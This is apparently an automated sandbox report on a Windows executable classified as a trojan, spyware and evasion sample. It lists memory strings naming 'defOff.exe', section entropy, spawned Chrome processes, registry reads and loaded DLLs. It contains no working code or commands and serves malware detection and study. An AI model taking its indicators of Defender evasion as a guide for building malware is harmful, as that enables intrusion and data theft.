Source: file.exe, 00000000.00000003.2071117781.0000000006823000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2054821594.000000000636D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2065322289.00000000067ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2084062696.0000000006910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2069323988.000000000680A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2060249571.00000000067BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2065487469.00000000066FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2061538201.00000000067BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2050548137.0000000005FD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2065169231.00000000066FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2082645883.0000000005E5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2055766263.00000000066F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2082137073.0000000005E76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2056769317.0000000006143000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2067025302.00000000066FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2059129341.0000000006860000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2059378228.00000000067C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2060852172.00000000066F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2071571618.000000000683B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2058029897.00000000066FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2051644549.0000000006034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2054158987.0000000006052000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2064161173.00000000067D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2070951248.00000000066F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2057008198.000000000679F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2060096586.00000000066F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2050548137.0000000006034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2069033978.0000000006811000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2070647588.00000000066FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2058871118.00000000066FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2054821594.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2051950551.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2063592591.000000000689A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2061966777.00000000067CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2051950551.0000000006041000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2070492056.000000000694D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2069177715.00000000066F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2062263572.00000000067CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2073154086.00000000066FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2056658305.0000000006700000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2073935170.00000000066F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2063022462.00000000066F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2060365571.00000000066FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2062126558.00000000066FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2082689370.000000000152C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2065796387.00000000066F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2062729691.00000000067CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2061714951.0000000006887000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2071953683.00000000066F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2063860565.00000000066F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2066467555.00000000068E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2065963707.00000000067E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2066682142.00000000066F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2082771243.000000000150B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2064957972.00000000068CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2061816843.00000000066FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2068706356.000000000680F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2067456311.00000000067FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2067335508.00000000066F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2066073627.00000000066F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2060638488.00000000066F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2054158987.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2081893939.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2085476591.00000000066FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2069874768.0000000006813000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2071685767.00000000066F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2064303476.00000000066F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2071254965.000000000695F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2066315418.00000000067EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2082206550.0000000005F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2067605170.00000000066F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2072551712.00000000066FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2072305921.0000000006956000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2068883045.00000000066FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2055555382.000000000614A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2059609980.00000000067BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2056346010.000000000678B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2067881035.0000000006909000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2069467419.000000000692B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2057799175.00000000066FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2051644549.0000000006099000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2072114933.0000000006822000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2073624777.000000000683F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2072812452.000000000683D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2067213000.0000000006801000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2070800680.000000000682C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2067739309.00000000067FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2068087067.0000000006700000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053354533.0000000006041000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2060497167.00000000067BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2068272962.000000000680D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2054917440.0000000006149000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2068477529.00000000066F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2065648377.00000000067EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2057648419.0000000006851000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2060726377.00000000067C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2058250071.00000000066FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2059248611.0000000006700000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2081954185.0000000006052000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2069645052.00000000066FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2057104931.00000000066FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2056880401.00000000066F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2058138208.00000000067AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2055414323.00000000066F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2051950551.0000000005FD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2064605839.00000000066F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2057216255.000000000679E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2054158987.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2082234482.0000000005E42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2064415546.00000000067D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2071431669.0000000006701000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2066848218.00000000067F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2070336718.000000000681F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2050548137.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2058375557.00000000067A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2064778395.00000000067DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2057936738.00000000067AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2062396057.00000000066F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2059023407.00000000067AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2070151097.00000000066F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2063341887.00000000067C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2059519670.00000000066FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2071839056.0000000006822000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982261174841772
Source: file.exe	Static PE information: Section: ajmuuxok ZLIB complexity 0.994653466504491

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/64@11/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1976,i,14280019992165934311,3972087755175190849,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=852 --field-trial-handle=2024,i,6837492057727512573,15920123878915027554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1976,i,14280019992165934311,3972087755175190849,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=852 --field-trial-handle=2024,i,6837492057727512573,15920123878915027554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
